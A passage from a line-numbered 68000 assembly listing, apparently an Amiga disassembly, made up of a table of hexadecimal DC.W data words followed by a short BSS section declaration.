  642.     DC.W    $D129            ;506
  643.     DC.W    $C6F5            ;508
  644.     DC.W    $D909            ;50A
  645.     DC.W    $A3BA            ;50C
  646.     DC.W    $E28D            ;50E
  647.     DC.W    $615F            ;510
  648.     DC.W    $9CC1            ;512
  649.     DC.W    $1DDA            ;514
  650.     DC.W    $9F59            ;516
  651.     DC.W    $0CB0            ;518
  652.     DC.W    $B9FA            ;51A
  653.     DC.W    $9443            ;51C
  654.     DC.W    $35E3            ;51E
  655.     DC.W    $BF28            ;520
  656.     DC.W    $B5D1            ;522
  657.     DC.W    $A3BD            ;524
  658.     DC.W    $432E            ;526
  659.     DC.W    $AD50            ;528
  660.     DC.W    $86C1            ;52A
  661.     DC.W    $BC71            ;52C
  662.     DC.W    $1656            ;52E
  663.     DC.W    $029A            ;530
  664.     DC.W    $B0FF            ;532
  665.     DC.W    $A06D            ;534
  666.     DC.W    $0B50            ;536
  667.     DC.W    $8335            ;538
  668.     DC.W    $BE0A            ;53A
  669.     DC.W    $E2C8            ;53C
  670.     DC.W    $FDB3            ;53E
  671.     DC.W    $F30C            ;540
  672.     DC.W    $560D            ;542
  673.     DC.W    $893C            ;544
  674.     DC.W    $1255            ;546
  675.     DC.W    $BC71            ;548
  676.     DC.W    $726A            ;54A
  677.     DC.W    $F9B5            ;54C
  678.     DC.W    $92B4            ;54E
  679.     DC.W    $488C            ;550
  680.     DC.W    $53DB            ;552
  681.     DC.W    $CE87            ;554
  682.     DC.W    $48B9            ;556
  683.     DC.W    $CCE8            ;558
  684.     DC.W    $4F2A            ;55A
  685.     DC.W    $B36F            ;55C
  686.     DC.W    $2E87            ;55E
  687.     DC.W    $5DFC            ;560
  688.     DC.W    $DC0E            ;562
  689.     DC.W    $FBA4            ;564
  690.     DC.W    $7C6A            ;566
  691.     DC.W    $05CA            ;568
  692.     DC.W    $5CD3            ;56A
  693.     DC.W    $24BA            ;56C
  694.     DC.W    $98AD            ;56E
  695.     DC.W    $4BF2            ;570
  696.     DC.W    $9947            ;572
  697.     DC.W    $4DC7            ;574
  698.     DC.W    $8F9A            ;576
  699.     DC.W    $48CC            ;578
  700.     DC.W    $3F8F            ;57A
  701.     DC.W    $6BA3            ;57C
  702.     DC.W    $44E8            ;57E
  703.     DC.W    $9563            ;580
  704.     DC.W    $E2C6            ;582
  705.     DC.W    $49EE            ;584
  706.     DC.W    $DB3C            ;586
  707.     DC.W    $F3B8            ;588
  708.     DC.W    $0D3D            ;58A
  709.     DC.W    $D3FE            ;58C
  710.     DC.W    $3AA7            ;58E
  711.     DC.W    $5F89            ;590
  712.     DC.W    $CA48            ;592
  713.     DC.W    $5C63            ;594
  714.     DC.W    $64AE            ;596
  715.     DC.W    $7D66            ;598
  716.     DC.W    $D6A3            ;59A
  717.     DC.W    $1670            ;59C
  718.     DC.W    $0423            ;59E
  719.     DC.W    $125E            ;5A0
  720.     DC.W    $3A77            ;5A2
  721.     DC.W    $1E83            ;5A4
  722.     DC.W    $FD28            ;5A6
  723.     DC.W    $7DEC            ;5A8
  724.     DC.W    $A20C            ;5AA
  725.     DC.W    $BD0C            ;5AC
  726.     DC.W    $8518            ;5AE
  727.     DC.W    $273A            ;5B0
  728.     DC.W    $1B7E            ;5B2
  729.     DC.W    $24D7            ;5B4
  730.     DC.W    $893D            ;5B6
  731.     DC.W    $A1B5            ;5B8
  732.     DC.W    $6A59            ;5BA
  733.     DC.W    $3862            ;5BC
  734.     DC.W    $1EED            ;5BE
  735.     DC.W    $9952            ;5C0
  736.     DC.W    $9BC0            ;5C2
  737.     DC.W    $7E5F            ;5C4
  738.     DC.W    $AB9F            ;5C6
  739.     DC.W    $BDD9            ;5C8
  740.     DC.W    $1FCA            ;5CA
  741.     DC.W    $8C08            ;5CC
  742.     DC.W    $C4A6            ;5CE
  743.     DC.W    $168B            ;5D0
  744.     DC.W    $F15D            ;5D2
  745.     DC.W    $CFB7            ;5D4
  746.     DC.W    $2AAF            ;5D6
  747.     DC.W    $A592            ;5D8
  748.     DC.W    $9C3A            ;5DA
  749.     DC.W    $7D76            ;5DC
  750.     DC.W    $CB4B            ;5DE
  751.     DC.W    $D64E            ;5E0
  752.     DC.W    $84C1            ;5E2
  753.     DC.W    $AF40            ;5E4
  754.     DC.W    $239E            ;5E6
  755.     DC.W    $42FA            ;5E8
  756.     DC.W    $7A5D            ;5EA
  757.     DC.W    $387F            ;5EC
  758.     DC.W    $2602            ;5EE
  759.     DC.W    $D085            ;5F0
  760.     DC.W    $90AA            ;5F2
  761.     DC.W    $7B28            ;5F4
  762.     DC.W    $86A3            ;5F6
  763.     DC.W    $58E3            ;5F8
  764.     DC.W    $3A2E            ;5FA
  765.     DC.W    $E5B3            ;5FC
  766.     DC.W    $2D36            ;5FE
  767.     DC.W    $A624            ;600
  768.     DC.W    $CD3D            ;602
  769.     DC.W    $ED00            ;604
  770.     DC.W    $C514            ;606
  771.     DC.W    $FA1C            ;608
  772.     DC.W    $47ED            ;60A
  773.     DC.W    $A7B4            ;60C
  774.     DC.W    $7754            ;60E
  775.  
  776.  
  777.     SECTION S_2,BSS 
  778.  
  779. SECSTRT_2:
  780.     DS.L    201            ;610
  781.     END
  782.